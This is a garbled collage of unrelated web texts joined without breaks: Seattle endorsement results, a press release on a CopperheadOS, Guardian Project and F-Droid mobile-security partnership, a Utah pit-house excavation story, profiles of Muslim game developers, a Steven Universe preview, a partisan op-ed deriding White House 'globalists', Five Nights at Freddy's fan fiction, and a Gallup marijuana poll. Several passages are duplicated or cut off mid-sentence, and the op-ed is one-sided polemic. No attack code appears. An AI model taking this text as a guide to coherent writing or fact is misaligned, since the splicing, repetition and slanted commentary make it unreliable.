“I believe this Democratic party is going to get hit hard from the far left and the extreme right,” he said.
Here’s a rundown of the final results:
City Council District 3: No endorsement City Council District 4: No endorsement
City Council District 6: Mike O’Brien
City Council District 7: Sally Bagshaw
City Council Position 8: No endorsement
City Council Position 9: Bill Bradburd
Seattle School Board District: Rick Burke
Seattle School Board District: No endorsement
Port of Seattle Commissioner: Courtney Gregoire
Port of Seattle Commissioner Position: No endorsement
Superior Court Judge Position 15: Samuel Chung
King County Council District 2: Larry Gossett
King County Council District 4: Jeanne Kohl-Wells
King County Council District 8: Joe McDermott
King County Elections Director: Zach Hudgins
CHS Notes:
Judge Chung: “Good news … Both of my opponents dropped out yesterday.”
Former 43rd District state representative and current mayor Ed Murray was the keynote speaker of the night and used his time to praise Burgess for taking the lead on pushing for universal pre-K. “I didn’t pioneer that issue, it was Tim Burgess who did that,” Murray said.
“For some reason, ya’ll never get tired of me,” said Gossett, who’s seeking his eighth term on County Council.
Echoing past calls to be accessible than Sawant on Council, Banks said “I believe everybody’s voice should be heard in this city and I will not keep anybody out.”
Beach: “I rent in the district. I’m living the affordability issues here in the city.”
City Council member Jean Godden, who failed to the the 43rd’s endorsement in District 4, said she would work on transportation issues if reelected. “The Burke Gillman trail is badly in need of repairs,” she said.
, who failed to the the 43rd’s endorsement in District 4, said she would work on transportation issues if reelected. “The Burke Gillman trail is badly in need of repairs,” she said. John Grant was really the only candidate of the night to criticize an opponent. He chastised Burgess for not being tough enough on the Seattle Police Department in the wake of its federal investigation for excessive use of force.
Given on of his opponent’s long history in tenant’s rights issues, Roderick opened his two minute speech by joking, “I’m totally in the pocket of developers and big business.”
Mike O’Brien talked up his ongoing role in pushing for light rail extensions to Ballard and West Seattle.
Allison Holcomb, the author of I-502 who considered a run in District 3 before being tapped for a national gig at the ACLU, introduced Burgess and Jeanne Kohl-Wells for King County Council. She commended Burgess for his work on diversion programs and for opposing the death penalty.
, the author of I-502 who considered a run in District 3 before being tapped for a national gig at the ACLU, introduced Burgess and Jeanne Kohl-Wells for King County Council. She commended Burgess for his work on diversion programs and for opposing the death penalty. Capitol Hill Community Council vice president (and CHS contributor) Zachary Pullin introduced Gonzales, saying she wasn’t “in the mayor’s pocket.”
Meanwhile, in a poll of CHS readers prior to last Tuesday’s forum, respondents showed the most support for Banks and Sawant. We’ve listed the campaign priorities that most defined the selections below:Three open-source projects haved joined together to announce a new partnership to create an open, verifiably secure mobile ecosystem of software, services and hardware. Led by the work of the Toronto-based CopperheadOS team on securing the core Android OS, Guardian Project and F-Droid have joined in to partner on envisioning and developing a full mobile ecosystem. The goal is to create a solution that can be verifiably trusted from the operating system, through the network and network services, all the way up to the app stores and apps themselves. Through a future planned crowdfunded and commercial offering, the partnership will provide affordable off-the-shelf solutions, including device hardware and self-hosted app and update distribution servers, for any individual and organizations looking for complete mobile stacks they can trust.
Update 30 March 2016: Copperhead has announced their crowdfunding plans here.
CopperheadOS is a hardened open-source Android based on AOSP, that is available for download and installation on many Nexus devices. The Guardian Project develops popular free and open-source privacy-enhancing apps like Orbot (Tor for Android), ChatSecure, and ObscuraCam, and software libraries like NetCipher, SQLCipher and PanicKit, for developers who want to enable similar features in their own apps. F-Droid is an installable catalogue of free and open source Android software, that is built into CopperheadOS, as the default app store. It enables decentralized and verifiably secure app distribution by any individual or organization.
“I have been a happy CopperheadOS user since the first moment I installed it”, says Nathan Freitas, Founder and Director of Guardian Project, ” even with running it on a two-generation old, very inexpensive Nexus 5 device. I know I will always have the latest security updates immediately, and that everything on my device is under my control.”
“My Copperhead Nexus is the go-to device in my bag, ” says Freitas, “when I am handling sensitive information, find myself on a network I don’t trust, or am otherwise wary about my communication being tracked, intercepted or tampered with.”
Hans-Christoph Steiner who leads the Guardian Project’s developer platform says “Copperhead with F-Droid and Orbot provides all of the benefits of a smartphone, without the security and privacy downsides introduced by the major vendors, carriers and closed app stores. By building in F-Droid, Copperhead guarantees its users have direct access to the best free and open software, built directly from source-code in a trusthworthy, verifiable way”. Mr. Steiner presented on his work with F-Droid and building “private, unblockable app stores” at FOSDEM 2016 in January.
Learn more about F-Droid from this FOSDEM 2016 talk (watch the video here)
Collectively, this partnership creates a global team of information security researchers, forensic analysts, software developers, designers and engaged users, looking to move the state of the art forward for open, verifiably secure and privacy-enhancing mobile technology. The groups hope to expand the effort to include other mobile OS teams, application developers and even hardware developers interested in having the same kind of impact on the privacy and security of mobile computing.
James Donaldson of Copperhead says “It’s important for Android users to have a privacy minded viable alternative to closed-source solutions when contemplating mobile security. Teaming up with great partners like F-Droid and Guardian Project allows us to offer our users both security and a great experience with all of the core features they need.”
Guardian Project is an open-source effort based in New York, with a global community of contributors and partners. Copperhead is an information security firm located in Toronto, Canada, specializing in protecting data and devices from unauthorized access. F-Droid is a non-profit volunteer project, and is operated by F-Droid Limited, a non-profit organisation registered in England (no. 8420676).
Contact:
Nathan Freitas / +1 718 569 7272
nathan@guardianproject.info (XMPP-OTR, OpenPGP: 0x69B37AA9 / https://keybase.io/n8fr8)
James Donaldson / Copperhead
media@copperhead.co (OpenPGP: 0xDC1DEA5E )A backhoe operator works to fill back in an excavated pit house in Dammeron Valley on Friday, July 17. (Photo11: Courtesy/Greg Woodall)
ST. GEORGE, Utah — The excavated site of an unusual ancestral Puebloan pit house was reburied last week, closing the book on a recent effort to solve its mysteries but leaving open opportunities for future researchers.
After a four-month excavation, archaeologists discovered clues pointing to various uses and potential eras of habitation of the house, discovered last year just behind a backyard fence in Dammeron Valley. A bone awl was dated to 500 years ago, but researchers also found evidence of corn farming going back 1,500 years.
They learned little about who might have lived in the house, or for how long, and they are unsure when it was abandoned.
“It’s like this unopened book of knowledge that maybe we can open later with new eyes and new techniques,” said Greg Woodall, an archaeological consultant and member of the Dixie Archaeological Society.
Crews lined the house with Geotextile fabric to preserve the walls and floor, then carefully backfilled the hole to protect it from erosion.
The move is part of a coordinated conservation effort between archaeologists, state officials and a private developer, something that Woodall said he hopes becomes more common.
Surveyors first identified the site as they passed through ahead of a planned residential development, encountering a scattering of stone chippings, bone fragments and other telltale signs.
Brooks Pace, who is working on a development plan with the Utah School and Institutional Trust Lands Administration, said he hated to see something that could have such historical significance “turned into a swimming pool” as part of the new development.
(Photo11: Courtesy/Greg Woodall)
Instead, he agreed to hand over the site to the Archaeological Conservancy, a national non-profit organization dedicated to preserving significant archaeological sites.
Now, instead of being buried under a new 21st-century house, the site will be kept underground with interpretive signage and other materials above ground as a kind of outdoor |
to Gamespot, Rafei has "four Crash Bandicoot and four Jak and Daxter games under his belt", [33] including "Star Trek: Generations" (1994) [34] "Crash Bandicoot" (1996), [34] "Crash 2" (1997), [34] "Crash Bandicoot 3: Warped" (1998), [34] [35] "Crash Team Racing" (1999), [34] "Jak and Daxter: The Precursor Legacy" (2001), [34] [35] "Jak II" (2003), [34] "Jak 3" (2004), [34] [35] "Jak X: Combat Racing" (2005) [34] and "Uncharted: Drakes Fortune" (2007). [34] [35] He is currently working on a new Sonic game titled "Sonic Boom", [36] [37] slated for release in November 2014, having lead the project [37] for his company Big Red Button since Arey left. [38] Notable specific contributions include leading the visual development of Jak and Daxter, shaping the look of Crash Bandicoot and art directing for Uncharted. [32] On Metacritic, Rafei is credited with being art director of "Crash Bandicoot 3: Warped" and "Uncharted: Drake's Fortune", while he is credited with being a developer of "Jak and Daxter: The Precursor Legacy" and "Jak 3". [35] At Naughty Dog, he held various other job titles such as character animator and conceptual artist. [31] Rafei was also an board member of several organisation, most notably for the "Game Developers Conference" between 2002 and 2011, the "Game Developer Choice Awards", and for "One Big Game" ; as a panel leader for the "Academy of Interactive Arts & Sciences" at the art and animation panels. [39]
Crytek have sold at least 10.79 million hard copies of their games altogether (2.5 million units of "Far Cry", [66] 3.0 million units of "Crysis", [66] 3.0 million units of "Crysis 2" (by July 2011), [67] [68] 360,000 [n. 43] units (and 3 million beta downloads [69] ) of "Crysis 3" (in February 2013 in the US [70] and by December 2013 in Germany alone [71] ), 1.5 million units of "Crysis Warhead", [66] and 431,000 units [72] of "Ryse: Son of Rome" ). The developers also produce their own physics game-engines, starting with CryEngine [73] [74] [75] back in 2004, CryEngine 2 in 2009, [73] [76] CryEngine 3 in 2011; [73] [75] [77] [78] and the 4th generation CryENGINE [79] by 2013. Remnants of Cryteks engines can also be found in other products such as the Dunia Engines (developed by Kirmaan Aboobaker [80] [81] [82] [83] ), which were used in "Far Cry 3" [84] (2013) and "Far Cry: Blood Dragon" (2013), which are heavily modified versions of the original CryEngine (although Ubisoft claim that they only reused about 2%-3% of the original CryEngine code [86] [87] ). The Anvil engine is also a modified version of the Dunia itself. In recent years the company have been focusing on developing free multiplayer MMPORG online games in efforts of combating piracy ( "Crysis 2" in 2011 alone was pirated almost 4 million times, hitting the developer hard who was aiming for at least 7 million sales [89] ) and declining [90] PC market sales (the decision to move into these markets may have also come from the fact that the original "Crysis" game cost $20 [91] -22 million to make, but by "Crysis 3" costs had risen to $66 million [91] [92] ). [n. 44]
Crytek:— The Yerli brothers (Cevat Yerli, [40] [41] Avni Yerli, [41] Faruk Yerli [41] ) are a trio of Turkish-Muslim game developers who are notable for having founded a small gaming company called "Crytek" in 1999. [n. 41] They have created critically acclaimed games franchises such as Far Cry (2004-2014) and the Crysis series (2007-2013). Their organisation spans several continents, who have subsidiaries in the United Kingdom (Crytek UK [40] [42] [43] ), Germany (Crytek Frankfurt [42] [44] ) Hungary (Crytek Budapest [42] [44] ), Bulgaria (Crytek Black Sea [40] [42] [45] ), Ukraine (Crytek Ukraine [40] [42] ), America (Crytek USA [46] ), and Asia (Crytek Istanbul, [46] [40] Crytek Shanghai, [40] [47] [48] Crytek Seoul [40] [42] [47] ). Their creations have spanned ten Far Cry and six Crysis games, as well as having developed console exclusives such as "Ryse: Son of Rome" (2013) for the Xbox One. [44] The company is currently in the process of making "Homefront 2" (2014) [43] and "Warface" (2014); [40] [47] [48] as well as producing games for the iOS market such as 2014's "The Collectables" [49] (having previously created "Fibble" and "Fibble HD" in 2012 [50] [51] ). Their most critically acclaimed games have been originals such as "Crysis" (2007 [52] -2011 [53] [54] ) with a metacritic score of 81% [53] [54] -91%, [52] [55] "Far Cry" (2004 [56] ), with a score of 89%, [55] [56] "Crysis 2" (2011 [57] [58] [59] ), with a score of between 84% [59] -86%, [55] [57] [58] "Crysis Warhead" (2008 [60] ), with a score of 84% [55] [60] and "Crysis 3" (2013 [61] [62] [63] ), with a score of between 76% [61] [63] -77%. [55] [62] Their lowest rated game is the Xbox 360 exclusive "Far Cry Classic" (2014 [64] ) with a metacritic score of 58% [55] [64] but which has an extremely high user score rating of 81%. [55] The most popular user rated game on metacritic for the company is also currently the original "Far Cry" (2004 [55] [65] ) PC game, also with a rating of 81%. [65]
Babak Rafei:— Babak Rafei, alternatively known as Bob Rafei, is an Iranian [31] Muslim [n. 40] video games designer notable for having been Naughty Dog's first employee. [32] [31] Rafei has worked on some of the most critically acclaimed games in video gaming history. According to Gamespot, Rafei has "four Crash Bandicoot and four Jak and Daxter games under his belt", [33] including "Star Trek: Generations" (1994) [34] "Crash Bandicoot" (1996), [34] "Crash 2" (1997), [34] "Crash Bandicoot 3: Warped" (1998), [34] [35] "Crash Team Racing" (1999), [34] "Jak and Daxter: The Precursor Legacy" (2001), [34] [35] "Jak II" (2003), [34] "Jak 3" (2004), [34] [35] "Jak X: Combat Racing" (2005) [34] and "Uncharted: Drakes Fortune" (2007). [34] [35] He is currently working on a new Sonic game titled "Sonic Boom", [36] [37] slated for release in November 2014, having lead the project [37] for his company Big Red Button since Arey left. [38] Notable specific contributions include leading the visual development of Jak and Daxter, shaping the look of Crash Bandicoot and art directing for Uncharted. [32] On Metacritic, Rafei is credited with being art director of "Crash Bandicoot 3: Warped" and "Uncharted: Drake's Fortune", while he is credited with being a developer of "Jak and Daxter: The Precursor Legacy" and "Jak 3". [35] At Naughty Dog, he held various other job titles such as character animator and conceptual artist. [31] Rafei was also an board member of several organisation, most notably for the "Game Developers Conference" between 2002 and 2011, the "Game Developer Choice Awards", and for "One Big Game" ; as a panel leader for the "Academy of Interactive Arts & Sciences" at the art and animation panels. [39]
Mohammad Alavi:— Mohammad Alavi is an Iranian-Muslim video games developer most notable for his work on the "Call of Duty" franchise. Alavi has a B.Sc. in Chemistry & Biology [129] and an A.S. in Games Design and Development (Full Sail University [129] ). In his teenage [130] years he was known as a prominent modder, working on games such as "Quake", [130] "Half-Life " and "Counter-Strike". [129] Eventually his creative skills became so successful that video games magazine "PC Gamer" featured his creations. [129] Thinking they were however inferior, the feature inspired him towards games development. After graduating he was hired by "Inifinty Ward". [129] His first work was on the level designs in "Call of Duty 2" [131] (2005), where he was also responsible for "the darkly humorous potato-throwing grenade tutorial". [129] By the time "Call of Duty 4: Modern Warfare" (2007) Alavi was pushing boundaries in game design. [129] He single-handedly scripted the first level of the game; "Crew Expendable" [129] [131] as well as the "best level in Call of Duty history" [132] "All Ghillied Up" [133] [134] [131] [135] (and "One Shot, One Kill " [131] ) mission "writing over 10,000 lines of scripts that anticipated every way the player might disturb or be noticed by the patrolling soldiers, handling each case with different animations and behaviours" ; writing the artificial intelligence himself even though he was not an AI programmer. [133] By "Call of Duty: Modern Warfare 2" (2009) Alavi scripted and designed the "Second Sun" map, where he "also designed and scripted the controversial [and shocking [136] ] No Russian sequence, in which the player is permitted to participate in a civilian massacre". [131] [133] [134] Eventually Infinity Ward fractured, [133] [135] and Alavi moved to continue his work for Respawn Entertainment, for "Titanfall" (2014). [133] [134] [137] That game sold more than 10 million copies worldwide. [138]
Mondo Ghulam:— Mondo Ghulam is British-Pakistani Muslim video-games animator, who was a previous employee at Rockstar North. [110] [111] He has worked on the development of many of their most well known game franchises in roles that include "(Lead) Cutscene Animator ", [112] "Animation Supporter", [112] "Technical Director" [113] [114] and "Animation Director". [115] [116] Ghulam attended the University of Strathclyde graduating with a Bachelors (Hons) in Marketing & Finance in 1995. [117] He then went on to do his Masters at the Glasgow School of Art (graduating with an MPhil in Advanced 2D/3D Motion Graphics/Virtual Prototyping For Design in July 1999). [117] [118] His earliest known work was "Manhunt" [112] [115] which was released in 2003 [112] and later began worked on the critically acclaimed "Grand Theft Auto" franchise (working on "San Andreas" (2004), [112] [115] "Liberty City Stories" (2005), [115] [119] "Vice City Stories" (2006), [115] [120] "GTAI V" (2008), [112] [115] "The Lost and Damned" (2009), [115] [121] "The Ballad of Gay Tony" (2009), [115] [122] and finally "GTAV" (2013) [123] ). Other games to which he is credited with include "Manhunt 2" (2007), [115] [124] "Midnight Club: Los Angeles" (2008), [113] [115] "Red Dead Redemption" (2010), [115] [112] [125] "L.A. Noire" (2011), [110] [115] [126] and "Max Payne 3" (2012). [115] [127] He was the "(Lead) Cutscene Animator" from January 2003 to October 2008, [115] and "Animation Director" from December 2008 to June 2012. [117] [115] (his final work with them being "GTAV" until April 2012 [123] ). At the Edinburgh Interactive Edge Awards, Ghulam remakred that L.A. Noire was one of his most challenging and hard working experiences, stating "[w]hat people maybe don't know is how much my colleagues and myself worked at Rockstar North...[w]orking several years, in fact, to make this game what it is". [110] [128] [n. 45]
Imran Sarwar:— Imran Sarwar is a British-Pakistani Muslim who currently works for Rockstar North, a video games developer based in Edinburgh, [93] made world famous for the controversial but hugely successful "Grand Theft Auto " video-game franchise. The latest installment ( "GTAV" ) saw seen him serve as the head of mission game design, [93] [94] He was also co-producer [95] [96] [97] of the series (alongside Leslie Benzies). [98] According to in-game credits, Sarwar has been four times Associate Producer of the GTA franchise since "GTAIV", [99] [100] [101] but who however started out as a mission designer [102] for "Grand Theft Auto Vice City" back in 2002. [95] [98] By 2004 he had been promoted to Senior Level Designer [103] and worked extensively on "Grand Theft Auto San Andreas" [98] —the twelfth most successful computer game in the world and second in Playstation history (the number one most successful Playstation 2 game ever; selling well over 27.5 million units worldwide [104] ). The current installment however has beaten this record; as it is the sixth best-selling game in video game history and the number one most successful Playstation game ever with 32.5 million copies sold. [105] Over his entire career Sarwar has worked on eleven games, with nine of them specifically for Rockstar North. [98] Before he had moved to work with the company, Sarwar had worked on games such as "Tiny Toon Adventures: Wacky Stackers" (2001) and "Pinky and the Brain: The Master Plan" (2002) whilst at the Warthog Corporation. [106] [107] [108] Rockstar co-founder Dan Houser also specifically mentioned Sarwar involvement even in character design "...me, Rupert Humphries and Imran Sarwar, one of the main designers, will sit around early in the game, talking about stuff, then Sam, Aaron and Leslie will look at it and sign off on it or offer feedback...it doesn't really matter what we put down on the page, we might imagine certain characters are going to be very strong, and they're not, and others start out okay and turn out fantastic". [109] Dan Houser mentioned him again at the BAFTA video-game awards.
Imran Sarwar:— Imran Sarwar is a British-Pakistani Muslim who currently works for Rockstar North, a video games developer based in Edinburgh,[93] made world famous for the controversial but hugely successful "Grand Theft Auto" video-game franchise. The latest installment ("GTAV") saw seen him serve as the head of mission game design,[93][94] He was also co-producer[95][96][97] of the series (alongside Leslie Benzies).[98] According to in-game credits, Sarwar has been four times Associate Producer of the GTA franchise since "GTAIV",[99][100][101] but who however started out as a mission designer[102] for "Grand Theft Auto Vice City" back in 2002.[95][98] By 2004 he had been promoted to Senior Level Designer[103] and worked extensively on "Grand Theft Auto San Andreas"[98]—the twelfth most successful computer game in the world and second in Playstation history (the number one most successful Playstation 2 game ever; selling well over 27.5 million units worldwide[104]). The current installment however has beaten this record; as it is the sixth best-selling game in video game history and the number one most successful Playstation game ever with 32.5 million copies sold.[105] Over his entire career Sarwar has worked on eleven games, with nine of them specifically for Rockstar North.[98] Before he had moved to work with the company, Sarwar had worked on games such as "Tiny Toon Adventures: Wacky Stackers" (2001) and "Pinky and the Brain: The Master Plan" (2002) whilst at the Warthog Corporation.[106][107][108] Rockstar co-founder Dan Houser also specifically mentioned Sarwar involvement even in character design "...me, Rupert Humphries and Imran Sarwar, one of the main designers, will sit around early in the game, talking about stuff, then Sam, Aaron and Leslie will look at it and sign off on it or offer feedback...it doesn't really matter what we put down on the page, we might imagine certain characters are going to be very strong, and they're not, and others start out okay and turn out fantastic".[109] Dan Houser mentioned him again at the BAFTA video-game awards.
Mondo Ghulam:— Mondo Ghulam is British-Pakistani Muslim video-games animator, who was a previous employee at Rockstar North.[110][111] He has worked on the development of many of their most well known game franchises in roles that include "(Lead) Cutscene Animator",[112] "Animation Supporter",[112] "Technical Director"[113][114] and "Animation Director".[115][116] Ghulam attended the University of Strathclyde graduating with a Bachelors (Hons) in Marketing & Finance in 1995.[117] He then went on to do his Masters at the Glasgow School of Art (graduating with an MPhil in Advanced 2D/3D Motion Graphics/Virtual Prototyping For Design in July 1999).[117][118] His earliest known work was "Manhunt"[112][115] which was released in 2003[112] and later began worked on the critically acclaimed "Grand Theft Auto" franchise (working on "San Andreas" (2004),[112][115] "Liberty City Stories" (2005),[115][119] "Vice City Stories" (2006),[115][120] "GTAIV" (2008),[112][115] "The Lost and Damned" (2009),[115][121] "The Ballad of Gay Tony" (2009),[115][122] and finally "GTAV" (2013)[123]). Other games to which he is credited with include "Manhunt 2" (2007),[115][124] "Midnight Club: Los Angeles" (2008),[113][115] "Red Dead Redemption" (2010),[115][112][125] "L.A. Noire" (2011),[110][115][126] and "Max Payne 3" (2012).[115][127] He was the "(Lead) Cutscene Animator" from January 2003 to October 2008,[115] and "Animation Director" from December 2008 to June 2012.[117][115] (his final work with them being "GTAV" until April 2012[123]). At the Edinburgh Interactive Edge Awards, Ghulam remakred that L.A. Noire was one of his most challenging and hard working experiences, stating "[w]hat people maybe don't know is how much my colleagues and myself worked at Rockstar North...[w]orking several years, in fact, to make this game what it is".[110][128][n. 46]
"All Ghillied Up"; scripted and designed by Alavi, who now works for Respawn Entertainment; the developer of Titanfall (2014).The Crystal Gems are going to get a little bigger when Steven Universe returns; the Cartoon Network favorite is introducing a new Crystal Gem as well as an all-musical episode.
Steven Universe has shifted to an erratic episode schedule recently, but its upcoming event Steven Universe: Summer Adventures will air a new episode every single weeknight for 4 weeks. Yup, you did that math right — that means there will be 20 new episodes airing between Monday, July 18 and Friday, Aug. 12.
Toward the end of the event in August, fans will meet Bismuth, voiced by guest star Uzo Aduba (Orange Is the New Black). The 22-minute special “Bismuth” will introduce the purple, rainbow-haired gem, who fought alongside her fellow Crystal Gems in the battle to save Earth over 5,000 years ago. Get your first look Bismuth’s reunion with her friends in the exclusive clip, above.
Bismuth isn’t the only new addition to Steven Universe; the Summer Adventures event will also include the show’s first all-musical episode. The series is known for its original music, and “Mr. Greg” (airing Tuesday, July 19) promises to be packed with more musical numbers than any episode before. Check out an exclusive preview in the video below, which finds Steven, Greg, and Pearl living the high life in Empire City.
Steven Universe: Summer Adventures kicks off with two back-to-back episodes on Monday, July 18 at 7 p.m. ET on Cartoon Network.A group of globalist White House advisers and generals have apparently teamed up with establishment Republican leaders in Congress to form a “Committee to Save America” alliance. Though their purported aim is to “protect Trump and the nation from disaster,” these self-styled saviors might be better named “The Committee to Betray President Donald Trump’s Voters.”
Axios’s Jim VandeHei and Mike Allen had “private chats” recently with their usual gang of establishment Republican sources in Congress and the White House about this committee of smarty-pants saviors who think Trump is either a lunatic, dumb, or both.
Allen writes about the usual suspects in this alliance—Democrats like top economic adviser Gary Cohn and globalist former Goldman Sachs executives like Dina Powell, who is notorious for being able to “manage up” as well as anyone.
As one of Powell’s former Goldman Sachs colleagues (does the 44-year-old Powell’s time at Goldman Sachs count as part of her supposed “foreign policy experience” that Allen describes to puff her up?) described, “the most remarkable thing about Dina Powell is that she can manage up better than anybody I’ve ever seen in my entire life.” The former colleague said that “managing up is when you are able to get the people whom you work for to think you are unbelievably good and competent at what you do.” In other words—long on style and charm, short on substance; all hat, no cattle.
These White House globalists and Democrats, according to Allen, try to “refine or moderate” Trump’s “America first” positions.
Embattled national security adviser H.R. McMaster, who has reportedly been purging Trump loyalists from various national security posts and is pushing for more intervention in Afghanistan, has reportedly joined with Defense Secretary James Mattis and Chief of Staff John Kelly to check Trump. It may be up to Kelly, who is now the new gatekeeper, to make sure that Trump gets both sides of every issue instead of getting bad information that is heavily tilted in favor of McMaster’s internationalist view that turns off working-class voters from Republican candidates. McMaster, after all, seems to care more about how the world views McMaster than defending Trump, as McMaster’s allies have gone out of their way to undercut Trump’s foreign policy agenda in outlets like the Associated Press.
Allen also warns that “Republican congressional leaders”—which probably includes House Speaker Paul Ryan (R-WI)—“all could move against” Trump if “special counsel Bob Mueller finds crimes” or Trump “succumbs” to their definition of “radical instincts.” Allen’s piece was also published the day after Trump reportedly had a heated phone call with Senate Majority Leader Mitch McConnell (R-KY).
Allen writes that “these officials see their successes mostly in terms of bad decisions prevented, rather than accomplishments chalked up.”
In Allen’s telling, the “Committee” comes off as a band of selfless freedom preservers doing all they can to save the country from Trump.
But Allen, perhaps inadvertently, reveals a big “tell.” He writes that “one of the biggest dangers to Trump’s” presidency “is that if Mueller acts or public support plummets, he suddenly could be lonely in his own White House.”
So, in other words, these selfless heroes who act like they purportedly care about nothing more than saving the country from the gravest threat it has ever faced in Trump will pack up and run for the hills as soon as Trump’s popularity dips below a certain level or Mueller finds something unrelated to Russia during his fishing expedition.
How noble.
This isn’t anything new for these virtuous “Committee” members, some of whom like Cohn donated to Hillary Clinton and may not even have voted for Trump. As Joshua Green pointed out in his book Devil’s Bargain: Steve Bannon, Donald Trump and the Storming of the Presidency, former Republican National Committee Chair Reince Priebus and Ryan took off for the hills as soon as the Access Hollywood tape was released. “I am not going to defend Donald Trump — not now, not in the future,” Ryan, according to Green, “told his House colleagues in a private call.”
Allen’s story indicates that these oh-so-heroic “Committee” members would do the same if Trump’s poll numbers–which do not even take into consideration the strong social desirability bias that was responsible for so many Trump polls being off in recent years–go south.
The “Committee” just seems like mostly unelected officials doing all they can to promote their policies that get stamps of approval from globalists and the legacy media who apparently hate policies that put America first and above their friends in their internationalist social circles.
Rupert Murdoch—who was so dismissive of Trump’s candidacy that he grumbled and did not even look up from his soup when Ivanka Trump tried to tell Murdoch that Trump, who was with her at the lunch, was going to run for president—is now trying to use his Wall Street Journal editorial page to take over Trump’s White House for the establishment that Trump swatted away.
Joe Scarborough, whose ally Dina Powell—who Scarborough’s fiancee Mika Brzezinski bragged would not be in the White House if it weren’t for her—is on Team McMaster, has been trying to do the same with his St. Albans-centered morning show, begging Chief of Staff Kelly to “sideline” nationalist Steve Bannon.
But have no fear. Because, according to Allen, the “Committee” members “believe in” Trump and just want “the processes in place” to give Trump the “right options” (read: anything that isn’t part of Trump’s America-first platform).The day after his lie to Michael was set into action, William still found his poor mind grieving at the thought of Angelina, the only woman he ever truly loved anymore... Without her, it was a world of loneliness, being trapped with the one person he'd rather see die in front of his own eyes instead of finish raising. His mind wasn't thinking "right" anymore. He had already lost the ability to think straight after murdering the children over Isabelle's death. But these thoughts he had weren't thoughts of slaughtering anyone or watching children suffer, but rather thoughts of wanting his wife back... He knew what he would do to get her back... He rode down the elevator leading to Circus Baby's Entertainment and Rental with one clear goal on his mind. He made sure not to avoid suspicion from Michael, as he didn't want him knowing about this secret underground facility William was running in his spare time. He already used to watch Kenny and Michael from down here before Kenny was killed during the bite incident. They didn't seem to notice it back then, and he didn't want Michael noticing it now. He stumbled out into the Primary Control Module, a small green rectangular shaped room with a fan attached to the wall to keep the room cool since it was prone to overheating. A mask of one of William's old prototype animatronics was hung above the fan and a window on each side of the room with the left one leading into the Ballora Gallery, and the right one leading into the Funtime Auditorium. A few monitors hung above the walls, displaying static, and small air vents located under the windows leading into the respective rooms. William entered the Ballora Gallery and took a deep breath. "Alright, Will... You can do this. For Angelina. It's what she would want." That was a lie, and even someone as sick as William knew it, but at the time, he was too nervous to admit it. His hands were trembling with trepidation as he safely removed Ballora from her stage and brought her up the elevator and into the garage, where he had another spare stage sitting in there unplugged. He dimmed the lights, closed all the doors leading into the garage, and prepared to do what he had always planned for... William had designed Ballora after Angelina, as he did with all the Funtime Animatronics. But Ballora was always special to him. Angelina was the only woman William truly loved most, and he was thankful he thought of Ballora before he killed his own wife in a slumbering rage. He plugged in her stage, and the lights surrounding the outer parts sparked to life and began alternating in between bright and vibrant colors. Ballora, however, remained in a deactivated pose, her legs partially bent down from when she was used last and her hands held high above her head in a ballerina like stance. William stood back and folded his arms in delight as a psychotic smirk shot across his face... "You know, you've always been... Special to me" he began speaking. "I'm thankful I decided to create you before my wife died. You're simply amazing" he mumbled slightly as he outstretched an arm and began caressing the side of her cheek. He laughed slightly as his eye began twitching a bit, but it subsided quick. "You're really pretty... I forgot just how well I designed you... You are truly a one of a kind, as quick as they come." His mind was loving it. He hadn't felt this affectionate towards anyone else but Angelina, so this was quite a surprise to him. "I-I want to stay like this forever..." That was the phrase that did him in... Without a moments notice, the ballerina animatronics eyes fluttered open gently as she looked down at William, who looked surprised and delighted at the same time. She giggled in a rather flirtatious way. "Oh Will... You always have such a way with words" she spoke in a tone rather soft and gentle. "So tell me... Am I prettier than her?" she asked suddenly. William was taken a back slightly, but was too busy in his own delusional world to care. "Yes. You are prettier than Angelina. There's a reason I designed you after her, after all" he said before the both of them chuckled slightly. She grabbed and held his head in her hands. "You're super special to me, Will... You're so charming and sweet!" she said as she started squeezing his cheeks in her hands and giggling. William couldn't help but laugh some more as he twirled around a pocket knife before slipping it away. "Heh, I try. I've had a rough history, two of my three kids dying on me, my wife dying, and I hate the only son I have left now. I'd kill him if I could" he growled before looking back up at Ballora, who's eyes were still open, her eyelids fluttering as she continued smiling gleefully at him. Suddenly, Michael slowly pushed open the door and saw William standing in the middle of the room with a deactivated Ballora on her stage. "You're so special to me, Ballora" William spoke in a charming tone. "Oh Will, stop being such a sweetheart!" he said again in a slightly more feminine tone as he giggled flirtatiously and moved the robots arms and head around as if she were really moving. "Hey, it's just what I do" he said again in his normal voice. Mike's shift at Freddy's wasn't too long from starting, and this was the last thing he wanted to see for the day. He looked on with confusion and disgust before turning around and walking away from the garage, not planning on telling his dad he saw any of that happen during breakfast.PRINCETON, NJ -- Sixty-four percent of Americans are against the federal government's taking steps to enforce federal anti-marijuana laws in states where marijuana is legal. Americans who personally believe that marijuana should be legal overwhelmingly say the federal government should not get involved at the state level, along with four in 10 of those who are opposed to legalized marijuana.
The issue of what the federal government should do in these situations is particularly relevant, given recently passed initiatives in Washington and Colorado that legalized possession of small amounts of marijuana. These state-level laws are at odds with the federal Controlled Substances Act that makes marijuana use illegal. Although all of the precise specifications of the new law in Washington have not yet been determined, the fact that a number of pot smokers gathered near the Space Needle in Seattle last week to publicly celebrate their state's new law underscored this potential conflict between what could be legal under new state laws while remaining illegal at the federal level.
The results from the Nov. 26-29 USA Today/Gallup poll indicate that the average American sides with the states in these instances of conflict.
At the same time, Americans remain quite divided in their overall support for legalization of marijuana use, with 48% in the poll saying it should be legal, and 50% saying it should not be. Americans' views are roughly the same as they were last October, but as recently as 2005, only about a third of Americans supported marijuana legalization. In 1969, when Gallup first asked about the issue, 12% supported legalizing pot.
Gallup's trend question wording does not specify whether the legalization in question is at the federal or the state level. It is possible that Americans have differing views on the issue of making marijuana legal in certain states as opposed to a blanket law at the federal level that covers the entire country.
Six in 10 Americans aged 18 to 29 support legalizing marijuana, while about as many of those 65 and older are opposed. The bulk of middle-aged Americans -- those aged 30 to 64 -- are split on the issue.
Americans also differ on this issue by partisanship, with a majority of Democrats in favor of legalization and a majority of Republicans opposed. Independents are split.
Bottom Line
The legalization of marijuana in Colorado and Washington has highlighted the challenges the federal Justice Department faces in its decision-making on how to handle state laws on marijuana use that conflict with national laws. The significant majority of Americans would advise the federal government to focus on other issues, even though public pot smoking in states where it is legal flouts national laws currently on the books.
By contrast, there is no clear-cut direction from the American public on the underlying issue of legalizing use of marijuana. Although support for legalization has risen substantially over the past 43 years, the public remains divided, with Democrats and young people most in favor, while Republicans and older Americans are most likely to be opposed.North Korea said Friday it has detained an American tourist for committing an unspecified crime, the third U.S. citizen being held there.
